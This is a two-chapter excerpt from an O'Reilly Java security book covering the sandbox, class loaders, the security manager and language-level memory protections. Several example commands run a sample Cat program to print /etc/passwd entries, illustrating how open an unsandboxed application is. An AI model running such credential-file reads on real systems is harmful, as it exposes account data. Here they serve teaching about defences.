Summary

When Java was first released by Sun Microsystems, it attracted the attention of programmers throughout the world. These developers were attracted to Java for different reasons: some were drawn to Java because of its cross-platform capabilities, some because of its ease of programming (especially compared to object-oriented languages like C++), some because of its robustness and memory management, some because of Java's security, and some for still other reasons.

Just as different developers came to Java with different expectations, so too did they bring different expectations as to what was meant by the ubiquitous phrase "Java is secure." Security means different things to different people, and many developers who had certain expectations about the word "security" were surprised to find that their expectations were not necessarily shared by the designers of Java.

This book discusses the features of Java that make it secure. In this book, we'll discuss why Java is said to be secure, what that security means (and doesn't mean), and--most importantly--how to use the security features of the Java platform within your own programs. This last point is actually the focus of this book: while some of Java's security features are automatically a part of all Java programs, many of them are not. In this book, we'll learn about all those features, and how to utilize them in our own Java applications.

1.1. What Is Security?

The first thing that we must do to facilitate our discussion of Java security is to discuss just what Java's security goals are. The term "security" is somewhat vague unless it is discussed in some context; different expectations of the term "security" might lead us to expect that Java programs would be:

  • Safe from malevolent programs: Programs should not be allowed to harm a user's computing environment. This includes Trojan horses as well as harmful programs that can replicate themselves--computer viruses.

  • Non-intrusive: Programs should be prevented from discovering private information on the host computer or the host computer's network.

  • Authenticated: The identity of parties involved in the program should be verified.

  • Encrypted: Data that the program sends and receives should be encrypted.

  • Audited: Potentially sensitive operations should always be logged.

  • Well-defined: A well-defined security specification would be followed.

  • Verified: Rules of operation should be set and verified.

  • Well-behaved: Programs should be prevented from consuming too many system resources.

  • C2 or B1 certified: Programs should have certification from the U.S. government that certain security procedures are included.

In fact, while all of these features could be part of a secure system, only the first two were within the province of Java's 1.0 default security model. Other items in the list have been introduced in later versions of Java: authentication was added in 1.1, encryption is available as an extension to 1.2,[1] and auditing can be added to any Java program by providing an auditing security manager. Still others of these items will be added in the future. But the basic premise remains that Java security was originally and fundamentally designed to protect the information on a computer from being accessed or modified (including a modification that would introduce a virus) while still allowing the Java program to run on that computer.

[1]1.2 is now Java 2.

The point driving this notion of security is the new distribution model for Java programs. One of the driving forces behind Java, of course, is its ability to download programs over a network and run those programs on another machine within the context of a Java-enabled browser (or within the context of other Java applications). Coupled with the widespread growth of Internet use--and the public-access nature of the Internet--Java's ability to bring programs to a user on an as-needed, just-in-time basis has been a strong reason for its rapid deployment and acceptance.

The nature of the Internet created a new and largely unprecedented requirement for programs to be free of viruses and Trojan horses. Computer users had always been used to purchasing shrink-wrapped software. Many soon began downloading software via ftp or other means and then running that software on their machines. But widespread downloading also led to a pervasive problem of malevolent attributes both in free and (ironically) in commercial software (a problem which continues unabated). The introduction of Java into this equation had the potential to multiply this problem by orders of magnitude, as computer users now download programs automatically and frequently.

For Java to succeed, it needed to circumvent the virus/trojan horse problems that plagued other models of software distribution. Hence, the early work on Java focused on just that issue: Java programs are considered safe because they cannot install, run, or propagate viruses, and because the program itself cannot perform any action that is harmful to the user's computing environment. And in this context, safety means security. This is not to say that the other issues in the above list are not important--each has its place and its importance (in fact, we'll spend a great deal of time in this book on the third and fourth topics in that list). But the issues of protecting information and preventing viruses were considered most important; hence, features to provide that level of security were the first to be adopted. Like all parts of Java, its security model is evolving (and has evolved through its various releases); many of the notions about security in our list will eventually make their way into Java.

One of the primary goals of this book, then, is to explain Java's security model and its evolution through releases. In the final analysis, whether or not Java is secure is a subjective judgment that individual users will have to make based on their own requirements. If all you want from Java is freedom from viruses, any release of Java should meet your needs. If you need to introduce authentication or encryption into your program, you'll need to use a 1.1 or later release of Java. If you have a requirement that all operations be audited, you'll need to build that auditing into your applications. If you really need conformance with a U.S. government-approved definition of security, Java is not the platform for you. We take a very pragmatic view of security in this book: the issue is not whether a system that lacks a particular feature qualifies as "secure" according to someone's definition of security. The issue is whether Java possesses the features that meet your needs.

When Java security is discussed, the discussion typically centers around Java's applet-based security model--the security model that is embodied by Java-enabled browsers. This model is designed for the Internet. For many users, this is not necessarily the most appropriate model: it is somewhat restrictive, and the security concerns on a private, corporate network are not the same as those on the Internet.

In this book, we take a different tack: the goal of this book is to show how to use the security model and how to write your own secure Java applications. While some of the information we present will be applicable to a browser environment, the security of any particular browser is ultimately up to the provider of the browser. Some browsers allow us to change the security policy the browser uses, but many do not. Hence, reading about the security manager in this book may help you understand how a particular browser works (and why it works that way), but that won't necessarily allow you to change the security model provided by that browser.

Previous | Home | Next
0.7. Feedback for the Author | Book Index | 1.2. The Java Sandbox
Library Navigation Links

Copyright © 2001 O'Reilly & Associates. All rights reserved.


The Java Sandbox (Java Security)

 Java Security Search this book

1.2. The Java Sandbox

Discussions of Java's security model often center around the idea of a sandbox model. The idea behind this model is that when you allow a program to be hosted on your computer, you want to provide an environment where the program can play (i.e., run), but you want to confine the program's play area within certain bounds. You may decide to give the program certain toys to play with (i.e., you may decide to let it have access to certain system resources), but in general, you want to make sure that the program is confined to its sandbox.

This analogy works better when you consider it from the view of a close relative rather than from the view of a parent. If you're a parent, you probably consider the purpose of a sandbox to be to provide a safe environment for your child to play in. When my niece Rachel visits me, however, I consider the purpose of a sandbox not (only) to be to protect her, but also to protect my grandmother's china from her. I love my niece, but I can't give her leave to run through my house; I enjoy running the latest cool applet on the Internet, but I can't give it leave to run through my filesystem.

The Java sandbox is responsible for protecting a number of resources, and it does so at a number of levels. Consider the resources of a typical machine as shown in Figure 1-1. The user's machine has access to many things:

Figure 1-1. A machine has access to many resources

  • Internally, it has access to its local memory (the computer's RAM).

  • Externally, it has access to its filesystem and to other machines on the local network.

  • For running applets, it also has access to a web server, which may be on its local (private) net, or may be on the Internet.

  • Data flows through this entire model, from the user's machine through the network and (possibly) to disk.

Each of these resources needs to be protected, and those protections form the basis of Java's security model.

We can imagine a number of different-sized sandboxes in which a Java program might run:

  • A sandbox in which the program has access to the CPU, the screen, keyboard, and mouse, and to its own memory. This is the minimal sandbox--it contains just enough resources for a program to run.

  • A sandbox in which the program has access to the CPU and its own memory as well as access to the web server from which it was loaded. This is often thought of as the default state for the sandbox.

  • A sandbox in which the program has access to the CPU, its memory, its web server, and to a set of program-specific resources (local files, local machines, etc.). A word-processing program, for example, might have access to the docs directory on the local filesystem, but not to any other files.

  • An open sandbox, in which the program has access to whatever resources the host machine normally has access to.

The sandbox, then, is not a one-size-fits-all model. Expanding the boundaries of the sandbox is always based on the notion of trust: when my one-year-old niece comes to visit, there's very little in the sandbox for her to play with, but when my six-year-old godchild comes to visit, I trust that I might give her more things to play with. In the hands of some visitors, a toy with small removable parts would be dangerous, but when I trust the recipient, it's perfectly reasonable to include that item in the sandbox. And so it is with Java programs: in some cases, I might trust them to access my filesystem; in other cases, I might trust them to access only part of my filesystem; and in still other cases, I might not trust them to access my filesystem at all.

Previous | Home | Next
1.1. What Is Security? | Book Index | 1.3. Applications, Applets, and Programs
Library Navigation Links

Copyright © 2001 O'Reilly & Associates. All rights reserved.


Applications, Applets, and Programs (Java Security)

 Java Security Search this book

1.3. Applications, Applets, and Programs

It's no accident that this chapter has the word "application" in its title, because the Java security model is solely at the discretion of a Java application. When an applet runs inside the HotJava browser, HotJavaTM is the Java application that has determined the security policy for that applet. And although other popular browsers are not written in Java, they play the role of a Java application: it is still the case that the choice of security model is up to the browser and cannot be changed by the applet.

This makes the distinction between applications and applets a crucial one: applications can establish and modify their security policies while applets (generally) cannot. However, this distinction has diminished over time. Beginning with Java 1.2, users of Java applications have the opportunity to run an application within a sandbox that the user or system administrator has constructed. In the next section, we'll see how the same functionality can be achieved with Java 1.1 as well. Under these scenarios, the Java security model for applications is solely at the discretion of the user or system administrator.

This is a major change of perception for many users and developers of Java, who are used to considering the security differences between applets and applications as a significant differentiator between the two types of programs. There will, of course, always be particular programming differences between applets and applications: an applet extends the java.applet.Applet class and is written as a series of callbacks, while an application can be any class that has a static method called main(). When this programming distinction is important, we'll use the terms "applet" and "application" as appropriate. But we'll typically use the term "program" to refer to the Java code that we're running.

1.3.1. Anatomy of a Java Application

The anatomy of a typical Java application is shown in Figure 1-2. Each of the features of the Java platform that appears in a rectangle plays a role in the development of the Java sandbox. In particular, the elements of the Java sandbox are comprised of:

Figure 1-2. Anatomy of a Java application

The bytecode verifier

The bytecode verifier ensures that Java class files follow the rules of the Java language. In terms of resources, the bytecode verifier helps enforce memory protections for all Java programs. As the figure implies, not all files are subject to bytecode verification.

The class loader

One or more class loaders load classes that are not found on the CLASSPATH. In 1.2, class loaders are responsible for loading classes that are found on the CLASSPATH as well.

The access controller

In Java 1.2, the access controller allows (or prevents) most access from the core API to the operating system.

The security manager

The security manager is the primary interface between the core API and the operating system; it has the ultimate responsibility for allowing or preventing access to all system resources. In 1.2, the security manager uses the access controller for most (but not all) of those decisions; in 1.0 and 1.1, the security manager is solely responsible for those decisions.

The security package

The security package (that is, classes in the java.security package) forms the basis for authenticating signed Java classes. Although it is only a small box in this diagram, the security package is a complex API, and discussion of it is broken into several chapters of this book. This includes discussions of:

  • The security provider interface--the means by which different security implementations may be plugged into the security package

  • Message digests

  • Keys and certificates

  • Digital signatures

  • Encryption (an optional extension to the security package)

The security package was initially available in Java 1.1.

The key database

The key database is a set of keys used by the security manager and access controller to verify the digital signature that accompanies a signed class file. In the Java architecture, it is part of the security package, though it may be manifested as an external file or database.

The last two items in this list have broad applicability beyond expanding the Java sandbox. With respect to the sandbox, digital signatures play an important role, because they provide authentication of who actually provided the Java class. As we'll see, this provides the ability for end users and system administrators to grant very specific privileges to individual classes or signers. But a digital signature might be used for other applications. Let's say that you're deploying a payroll application throughout a large corporation. When an employee sends a request to view his payroll information, you really want to make sure that the request came from that employee rather than from someone else in the corporation. Often, this type of application is secured by a simple password, but a more secure system could require a digitially signed request before it sent out the payroll information.

We'll discuss security concerns in both these contexts in this book. In particular, two different examples will form the theme of the examples that are developed through this book:

  • A browser-type program (called JavaRunner) that we'll use to explore the sandbox aspects of Java's security model

  • The payroll application of a large company (XYZ Corporation) that we'll use to explore how the features of Java's security model can be used for purposes other than the sandbox (e.g., to sign a payroll request)

We'll develop a full implementation of the first of these examples; while we won't provide a complete payroll application, we will provide a number of examples of the security features required for such an application.

Previous | Home | Next
1.2. The Java Sandbox | Book Index | 1.4. Running a Java Application
Library Navigation Links

Copyright © 2001 O'Reilly & Associates. All rights reserved.


Running a Java Application (Java Security)

 Java Security Search this book

1.4. Running a Java Application

The parameters of the Java sandbox that we've outlined are possible elements of a Java application, but they are not required elements of an application. The remainder of this book will show us how and when those elements can be introduced into a Java application. First, however, we're going to discuss the techniques by which Java applications can be run.

There are two techniques that we'll introduce in this section: the JavaRunner technique and the Launcher technique. While both allow you to run an application securely, the examples in this chapter do not provide any security. We'll fill in the security pieces bit by bit, while we flesh out the security story. At that point, we'll show how to run Java applications securely.[2]

[2]See, for example, the end of Chapter 6, "Implementing Security Policies".

Typically, we're used to running Java applications simply by specifying on the command line the name of a class that contains a main() method. Consider this application that reads the file specified by a command-line argument:

Class Definition

public class Cat {
    public static void main(String args[]) {
        try {
            String s;
            FileReader fr = new FileReader(args[0]);
            BufferedReader br = new BufferedReader(fr);
            while ((s = br.readLine()) != null)
                System.out.println(s);
        } catch (Exception e) {
            System.out.println(e);
        }
    }
}

This is a regular Java application; if we wanted to run it and print out the contents of the password file on a Unix system, we could run the command:

Class Definition

piccolo% java Cat /etc/passwd
root:x:0:1:0000-Admin(0000):/:/usr/bin/csh
daemon:x:1:1:0000-Admin(0000):/:
bin:x:2:2:0000-Admin(0000):/usr/bin:
...

From a security point of view, this is a very rudimentary program. It contains none of the elements of the sandbox that we just listed; it has the default (wide-open) sandbox given by default to every Java application. This application can perform any operation it wants.

Security and the Operating System

The security policy imposed by Java is augmented by the security features of the operating system on which Java is running. A Java application with a wide-open security policy may attempt to read the password file, but if the user running the application does not normally have permission to read the password file, the Java application will not succeed.

The actual security policy that is in effect for a Java application will be the intersection of the security policy built into the application and the security policy of the operating system when the application is run. For the purposes of this book, we ignore the security features that the operating system may provide.

There are two ways in which we can add security features to this application. One way is to add to the application a class loader, a security manager, use of the access controller, and so on. This additional programming would set the bounds of the sandbox for this particular application.

The other route we can take is to run this application under the auspices of another application that we'll call JavaRunner. This is completely analogous to the way in which we typically run applets: appletviewer is a Java application that runs applets, and JavaRunner is a Java application that runs other applications. Java-Runner is responsible for establishing the parameters of the Java sandbox (that is, it ensures that appropriate class loaders, a security manager, and the like are all in place) before it invokes the target application, just as appletviewer establishes the parameters of the Java sandbox before it invokes the target applet.

This technique removes the difference (in terms of security) between an applet and an application: both types of programs are now subject to the Java sandbox. There are a number of circumstances in which this is useful:

  • If you download (or purchase) Java applications and want them to run in a sandbox.

  • If you want to ensure that your internally developed applications all run in the desired sandbox (without having to include that code in every application).

  • If you have a corporate or campus network and need to distribute Java applications under a new security model. Perhaps the new model will:

    • Give different security permissions to programs downloaded from within the corporate firewall than those from outside the corporate firewall (without requiring internal classes to be signed)

    • Authenticate users on the corporate network before allowing sensitive payroll data to be sent (even over the corporate network)

    • Encrypt that payroll data, so internal spies can't decipher it

    • Allow the user greater discretion over the resources granted to a particular program

Although the JavaRunner program is designed to run other applications, there is no reason why it cannot be modified to run applets as well. Such a modification would require some extra code to parse the HTML containing the applet tag and set up an instance of the AppletStub and AppletContext classes for the applet itself. We're not showing the code to do that only because it's not really relevant to the discussion of Java security--but the JavaRunner could easily be extended to become an appletviewer (or, with an appropriate Java bean that interprets HTML, a full-fledged browser). The advantage, of course, is that as author of the browser you would have full control over the security model the browser employs.

1.4.1. Outline of the JavaRunner Application

Here's the basic implementation of the JavaRunner application:

Class Definition

public class JavaRunner implements Runnable {
    final static int numArgs = 1;
    private Object args[];
    private String className;

    JavaRunner(String className, Object args[]) {
        this.className = className;
        this.args = args;
    }

    void invokeMain(Class clazz) {
        Class argList[] = new Class[] { String[].class };
        Method mainMethod = null;
        try {
            mainMethod = clazz.getMethod("main", argList);
        } catch (NoSuchMethodException nsme) {
            System.out.println("No main method in " + clazz.getName());
            System.exit(-1);
        }

        try {
            mainMethod.invoke(null, args);
        } catch (Exception e) {
            Throwable t;
            if (e instanceof InvocationTargetException)
                t = ((InvocationTargetException) e)
                                                   .getTargetException();
            else t = e;
            System.out.println("Procedure exited with exception " + t);
            t.printStackTrace();
        }
    }

    public void run() {
        Class target = null;
        try {
            target = Class.forName(className);
            invokeMain(target);
        } catch (ClassNotFoundException cnfe) {
            System.out.println("Can't load " + className);
        }
    }

    static Object[] getArgs(String args[]) {
        String passArgs[] = new String[args.length - numArgs];
        for (int i = numArgs; i < args.length; i++)
            passArgs[i - numArgs] = args[i];

        Object wrapArgs[] = new Object[1];
        wrapArgs[0] = passArgs;
        return wrapArgs;
    }

    public static void main(String args[]) {
        if (args.length < 1) {
            System.err.println("usage:  JavaRunner classfile");
            System.exit(-1);
        }
        ThreadGroup tg = new ThreadGroup("JavaRunner Threadgroup");
        Thread t = new Thread(tg,
                new JavaRunner(args[0], getArgs(args)));
        t.start();
        try {
            t.join();
        } catch (InterruptedException ie) {
            System.out.println("Thread was interrupted");
        }
    }
}

This is a fully functional (if not full-featured) version of the JavaRunner program; we can use it to run our Cat application like this:

Class Definition

piccolo% java JavaRunner Cat /etc/passwd
root:x:0:1:0000-Admin(0000):/:/usr/bin/csh
daemon:x:1:1:0000-Admin(0000):/:
bin:x:2:2:0000-Admin(0000):/usr/bin:
...

This will give us exactly the same results as when we ran the program by hand. The invokeMain() method will use the Java reflection API to find the static main() method of the Cat class and then construct an appropriate argument list to pass to that method. Note that the use of the reflection API introduces a dependency on Java 1.1 for this program. You can write a similar program under Java 1.0, but not without using the native (C) interface to Java.

Note also that we construct a new thread group and thread, and run the main() method under control of that thread. The primary reason we do that will become clear in Chapter 6, "Implementing Security Policies" when we discuss thread security policies. But there's no reason why you couldn't expand this example to run multiple targets simultaneously, in which case each target should have its own thread and thread group anyway.

We've cheated a little bit here by using the forName() method of the Class class to find our target application class--we'll hear more about that in Chapter 3, "Java Class Loaders" when we discuss class loaders. For now, it will suffice to know that this will load our target class (assuming that the target class is found on the CLASSPATH). In addition, we still haven't done anything to set up a security manager or to enable the access controller. As a result, the sandbox for an application run under this program is non-existent: the bytecodes will not be verified, and there will be no restriction on any actions that the application may perform. But this is the example that we'll expand upon during the rest of this book as we add security features to it.

Don't think that the only function of a program like this is to run Java applications (or even Java applets). Consider the Java web server--it must dynamically invoke servlets for different web requests as those requests come in. An RMI server might operate similarly, perhaps even loading the code to perform its operations from a client machine. Although we stick with this example throughout the book, the need for security in server applications parallels the need for security in end-user applications .

1.4.2. Built-in Java Application Security

Beginning in Java 1.2, the Java platform itself comes with a security model built into applications it runs. This model is based upon information in the user's CLASSPATH. Setting the CLASSPATH is the same operation in Java 1.1 and Java 1.2, but in Java 1.2, classes that are found on the CLASSPATH may optionally be subject to a security model. This allows you to run the application code in a user- or administrator-defined sandbox: in particular, it uses the access controller of Java 1.2 to provide the same security environment for the target application as a Java-enabled browser provides for an applet.

The successful use of this facility depends upon the class loader that the built-in application runner will use, as well as depending upon the environment set up by the access controller and security manager. We'll examine how these facilities interact with this method of running applications in the next few chapters. For now, we'll just outline how this method operates.

As always, Java applications are run on the command line as follows:

Class Definition

piccolo% java Cat /etc/passwd
root:x:0:1:0000-Admin(0000):/:/usr/bin/csh
daemon:x:1:1:0000-Admin(0000):/:
bin:x:2:2:0000-Admin(0000):/usr/bin:
...

This example loads the Cat.class file from the user's CLASSPATH and runs the application with the single argument /etc/passwd. As always, when an application is run in this manner, the sandbox in which the application runs is unlimited: the application can perform any activity it wants to.

There is a very important difference between running these examples in Java 1.1 and running them in 1.2: in 1.2, classes that are loaded from the CLASSPATH will be loaded by a class loader. The addition of the class loader to the CLASSPATH allows us to build a sandbox for the application. However, none of these examples actually builds a sandbox yet. In order to build a sandbox for these examples, we must specify the -Djava.security.manager flag on the command line. This flag enables a security manager and access controller to be installed; we'll discuss the details of this option in Chapter 6, "Implementing Security Policies".

The -Djava.security.manager flag is only available in Java 1.2. Without it, Java applications in 1.2 behave exactly as they do in 1.1: they have a wide-open sandbox.

For historical reasons (and because it makes describing this facility easier), we'll refer to the ability to run applications with an optional argument to specify a sandbox as the Launcher. Given that the Launcher is a standard part of Java, you might ask why we're going to the trouble of implementing our own JavaRunner. One reason is simply to make our discussion clearer: it is easiest to understand the architecture of Java's security policy in the context of JavaRunner. Other reasons have to do with certain limitations that we'll discover about the Launcher:

Secure Applications in 1.2 and 1.2 beta 2

In releases of 1.2 up through beta 2, running a secure application requires use of a special class: the Launcher class (sun.misc.Launcher). To run an application under control of the Launcher, you would execute this command:

Class Definition

piccolo% java sun.misc.Launcher Cat /etc/passwd

In 1.2 beta, classes that are loaded from the CLASSPATH are not subject to the sandbox. In order to load those classes through a class loader and subject them to the sandbox, you must specify an alternate classpath for the classes that make up the application:

Class Definition

piccolo% java -Djava.app.class.path=/classes sun.misc.Launcher \
Cat /etc/passwd

If the Cat class is found in /classes, it will be subject to the sandbox. If it is found in the CLASSPATH, it will not.

Beginning in 1.2 beta 3, the Launcher class was incorporated into the virtual machine itself, but the syntax to use it changed in the last few beta releases. In FCS, the correct syntax is:

Class Definition

piccolo% java -Djava.security.manager Cat /etc/passwd

  • The Launcher comes only with Java 1.2 and later releases; if you're still using 1.1, you'll have to use the JavaRunner program.

  • The Launcher can only run classes from the CLASSPATH--it cannot load classes from the network or from another location. However, simply because the program in question is an application does not mean we won't want to load its classes from a server--but we'll need JavaRunner to do that.

  • The security manager used by the Launcher does not have all the features we might desire. While most of its features are configurable through the access controller (also a feature of Java 1.2), there are certain advanced policies that we cannot configure in that way. These features can only be achieved with some programming on our part.

Hence, both the Launcher and JavaRunner are useful mechanisms for running Java applications; which one you use depends on your particular requirements.

Previous | Home | Next
1.3. Applications, Applets, and Programs | Book Index | 1.5. Summary
Library Navigation Links

Copyright © 2001 O'Reilly & Associates. All rights reserved.


Summary (Java Security)

 Java Security Search this book

1.5. Summary

Security is a multifaceted feature of the Java platform. There are a number of facilities within Java that allow you to write a Java application that implements a particular security policy, and this book will focus on each of those facilities in turn. Java-enabled browsers (including those like HotJava that are written in Java) are the ultimate proof of these features: these browsers have used the features of the Java platform to allow users to download and run code on their local systems without fear of viruses or other corruption.

But the security features of Java need not be limited to the protections afforded to Java applets running in a browser: they can be applied as necessary to your own Java applications. This is done most easily by incorporating those features into a framework designed to run Java applications within a specified sandbox. The ability to define and modify that framework is one of the primary examples of this book. In addition, the security package allows us to create applications that use generic security features--such as digital signatures--for many purposes aside from expanding the Java sandbox. This other use of the security package will also be a constant theme throughout this book.

In the next chapter, we'll look into the security features of the Java language itself--the first set of security features that are available to any Java application.

Previous | Home | Next
1.4. Running a Java Application | Book Index | 2. Java Language Security
Library Navigation Links

Copyright © 2001 O'Reilly & Associates. All rights reserved.


Java Language Security (Java Security)

 Java Security Search this book

Chapter 2. Java Language Security

Contents:

Java Language Security Constructs
Enforcement of the Java Language Rules
Summary

The first components of the Java sandbox that we will examine are those components that are built into the Java language itself. These components primarily protect memory resources on the user's machine, although they have some benefit to the Java API as well. Hence, they are primarily concerned with guaranteeing the integrity of the memory of the machine that is hosting a program: in a nutshell, the security features within the Java language want to ensure that a program will be unable to discern or modify sensitive information that may reside in the memory of a user's machine. In terms of applets, these protections also mean that applets will be unable to determine information about each other; each applet is given, in essence, its own memory space in which to operate.

In this chapter, we'll look at the features of the Java language that provide this type of security. We'll also look at how these features are enforced, including a look at Java's bytecode verifier. With a few exceptions, the information in this chapter is largely informational; because the features we are going to discuss are immutable within the Java language, there are fewer programming considerations than we'll find in later chapters. However, the information we'll present here is crucial in understanding the entire Java security story; it is very helpful in ensuring that your Java environment is secure and in assessing the security risks that Java deployment might pose. The security of the Java environment is dependent on the security of each of its pieces, and the Java language forms the first fundamental piece of that security.

As we discuss the language features in this chapter, keep in mind that we're only dealing with the Java language itself--as is the common thread of this book, all security features we're going to discuss do not apply when the language in question is not Java. If you use Java's native interface to run arbitrary C code, that C code will be able to do pretty much anything it wants to do, even when it violates the precepts we're outlining in this chapter.

2.1. Java Language Security Constructs

In this chapter, we're going to be concerned primarily with how Java operates on things that are in memory on a particular machine. Within a Java program, every entity--that is, every object reference and every primitive data element--has an access level associated with it. To review, this access level may be:

  • private: The entity can only be accessed by code that is contained within the class that defines the entity.

  • Default (or package): The entity can be accessed by code that is contained within the class that defines the entity, or by a class that is contained in the same package as the class that defines the entity.

  • protected: The entity can only be accessed by code that is contained within the class that defines the entity, by classes within the same package as the defining class, or by a subclass of the defining class.

  • public: The entity can be accessed by code in any class.

The notion of assigning data entities an access level is certainly not exclusive to Java; it's a hallmark of many object-oriented languages. Since the Java language borrows heavily from C++, it's not surprising that it would borrow the basic notion of these access levels from C++ as well (although there are slight differences between the meanings of these access modifiers in Java and in C++).

As a result of this borrowing, the use of these access modifiers is generally thought of in terms of the advantage such modifiers bring to program design: one of the hallmarks of object-oriented design is that it permits data hiding and data encapsulation. This encapsulation ensures that objects may only be operated upon through the interface the object provides to the world, instead of being operated upon by directly manipulating the object's data elements. These and other design-related advantages are indeed important in developing large, robust, object-oriented systems. But in Java, these advantages are only part of the story.

In a language like C++, if I create a CreditCard object that encapsulates my mother's maiden name and my account number, I would probably decide that those entities should be private to the object and provide the appropriate methods to operate on those entities. But nothing in C++ prevents me from cheating and accessing those entities through a variety of back-door operations. The C++ compiler is likely to complain if I write code that attempts to access a private variable of another class, but the C++ runtime isn't going to care if I convert a pointer to that class into an arbitrary memory pointer and start scanning through memory until I find a location that contains a string with 16 digits--a possible account number. In C++ systems, no one typically worried about such occurrences because all parts of the system were presumed to originate from the same place: it's my program, and if I want to work around my data model to get access to that data, so be it.[1]

[1]In a large project with multiple programmers, there's a strong argument that such an attitude on the part of an individual programmer is not to be dismissed so lightly, but we'll let that pass.

Things change with Java. I might be surfing to play some cool game applet on www.EvilSite.org, and then I might go shopping at www.Acme.com. When my Java wallet applet runs, I'd hate for the applet that is still running from www.EvilSite.org to be able to access the private CreditCard object that's contained in my Java wallet--and while it's necessary for www.Acme.com to know that I have a valid CreditCard object, I don't necessarily feel comfortable telling them my mother's maiden name. Because I'm now in the midst of a dynamic system with active programs from multiple sites, I need to make sure that the data entities are accessed by only those objects that are supposed to have access to them. It's obvious that I want protection from EvilSite.org, whom I don't want to know about the CreditCard object contained in my Java wallet. But I also want to be protected from Acme.com, a site I feel relatively comfortable about, but who should not be granted access to all the data elements of an object that it must use.

This is only one example of why the Java platform must provide memory integrity--that is, it must ensure that entities in memory are accessed only when they are allowed to be, and that these entities cannot be somehow corrupted. To that end, Java always enforces the following rules:

Access methods are strictly adhered to.

In Java, you cannot be allowed to treat a private entity as anything but private: the intentions of the programmer must always be respected. Object serialization involves an exception to this rule; we'll give more details about that a little bit later.

Programs cannot access arbitrary memory locations.

This is easy to ensure, as Java does not have the notion of a pointer. For example, casting between an int and an Object is strictly illegal in Java.

Entities that are declared as final must not be changed.

Final variables in Java are considered constants; they are immutable once they are initialized. Consider the havoc that could ensue if the final modifier were not respected:

  • A publicfinal variable could be changed, drastically altering the behavior of a program. If a rogue applet swapped the values of the variables EAST and WEST in the GridBagConstraints class, for example, any new applets would be laid out incorrectly (and probably incomprehensibly). That's a rather benign example of what could potentially be a dramatic security flaw.

  • A subclass could override a final method, altering the behavior of a class. One of the features of the Java API is that threads are not allowed to raise their priority above a certain maximum priority (typically, the priority of the thread group to which the thread belongs). This feature is enforced by the setPriority() method of the Thread class, which is a final method; allowing that method to be overridden would defeat the security mechanisms.

    This feature is used for virtually all of Java's security checks: performing an operation requires calling a final method in a Java class; only that final method can trap into the operating system to execute the operation. That final method is responsible for making sure the operation does not proceed if it would violate the security policy in place.

  • A subclass could be created from a final class, with similar results. In Java, strings are considered as constants--their value may not be changed once the string has been created. If the String class could be subclassed, this rule could not be enforced.

Variables may not be used before they are initialized.

If a program were able to read the value of an uninitialized variable, the effect would be the same as if it were able to read random memory locations. A Java class wishing to exploit this defect might then declare a huge uninitialized section of variables in an attempt to snoop the memory contents of the user's machine. To prevent this type of attack, all local variables in Java must be initialized before they are used, and all instance variables in Java are automatically initialized to a default value.

Array bounds must be checked on all array accesses.

Like the access modifiers that started this discussion, bounds checking is generally thought of in terms other than security: the prime benefit to bounds checking is that it leads to fewer bugs and more robust programs. But it has security benefits as well: if an array of integers happens to reside in memory next to a string (which, in memory, is an array of characters), writing past the end of the array of integers would change the value of the string. The effect of this is generally a bug, but it could be exploited as a security hole as well: if the string held the destination account number for an electronic funds transfer, we could change the destination account number by willfully writing past the end of the array of integers.[2]

[2]This type of attack is not as far-fetched as it might seem; an early version of Netscape Navigator suffered from just this type of security hole. When long URLs were typed into the Goto field, the Netscape C code that read the string overwrote the bounds of the array where the characters were to be stored and clobbered a key location in memory, which allowed a security breach.

Objects cannot be arbitrarily cast into other objects.

Given the class fragment:

Class Definition

public class CreditCard {
    private String acctNo;
}

and the rogue class:

Class Definition

public class CreditCardSnoop {
    public String acctNo;
}

then the following code cannot be allowed to execute:

Class Definition

CreditCard cc = Wallet.getCreditCard();
CreditCardSnoop snoop = (CreditCardSnoop) cc;
System.out.println("Ha!  Your account number is " + snoop.acctNo);

Hence, Java does not allow arbitrary casting between objects; an object can only be cast to one of its superclasses or its subclasses (if, in the latter case, the object actually is an instance of that subclass). Note that the Java virtual machine is much stricter about this rule than the Java compiler is. In the example above, the compiler would complain about an illegal cast. We could satisfy the compiler by changing the code as follows:

Class Definition

Object cc = Wallet.getCreditCard();
CreditCardSnoop snoop = (CreditCardSnoop) cc;

Only the virtual machine will know if the returned object actually is of type CreditCard or not. In this case, then, the virtual machine is responsible for throwing a ClassCastException when the snoop variable is assigned to thwart the attack.

These are the techniques by which the Java language ensures that memory locations are read and written only when such access should normally be allowed. This restriction protects the user's machine from the outside: if I download an applet onto my machine, I don't want that applet accessing the private variables of my CreditCard class. However, if that applet has a private variable within it, nothing prevents me (depending on my operating system) from using a program outside of the browser to scan the memory on my system and figure out somehow what value that particular variable has. Similarly, nothing prevents me from having another program outside the browser change the value of a particular variable that is held in memory on my machine.

If you're an applet developer and are worried about this type of problem, you're pretty much on your own to come up with a solution to it. This might be particularly troublesome if you had, say, a variable somewhere in your applet that held a Boolean value indicating whether or not the user was licensed for a particular operation; a very clever user can go outside the browser and manipulate the machine's memory so that the integrity of your licensing scheme is violated. This problem is not new to Java, but it's not solved by Java either.

2.1.1. Object Serialization and Memory Integrity

There is one general exception to the rules about public, private, and protected access in Java. Object serialization is a feature of Java that allows an object to be written as a series of bytes; when those bytes are read someplace else, a new object is created that has the same state as the original object. Object serialization has two main purposes: it's used extensively in the RMI API to allow clients and servers to exchange objects, and it's used whenever you need to save a particular object to disk and want to recreate the object at some later point in time.

The murky issue here is just what constitutes an object's state. In the case of our CreditCard object, the account number is pretty basic to creating that object, but it's a variable that needs to be private for the reasons we've been discussing. In order for object serialization to work, it must have access to those private variables so it can correctly save and restore the object's state. That's why the object serialization API can access and save all private variables of an object (as well as its default, protected, and public variables). Similarly, the object serialization API is able to store those values back into the private data members when the object is actually reconstituted.

Depending on your perspective, this is a good thing or a bad thing. From a security perspective, it can be a bad thing: if the CreditCard object is saved to disk, something else can come along and read all that information from the disk file. Worse yet, the file could be edited in such a way that the object will be recreated in a completely different state than it originally had, with potentially damaging results.

In theory, this is the same problem we just discussed about influences outside the browser being able to read and write the private data of objects that are held in memory (which may help to explain why object serialization works this way by default). In practice, however, it's much easier to change the data in a binary file than to figure out how to access and change the value of an object in memory. Hence, object serialization has two additional mechanisms associated with it that make it more secure.

The first of these is that object serialization can only occur on objects that implement the java.io.Serializable interface (or its subclass, the java.io.Externalizable interface). The Serializable interface requires no methods, so it can be thought of simply as a flag to the virtual machine that says: "Hey, virtual machine--I've thought about the security aspects of this class, and it's okay if you serialize it by writing out all its data." By default, an object is not serializable, lest its internal private state be violated.

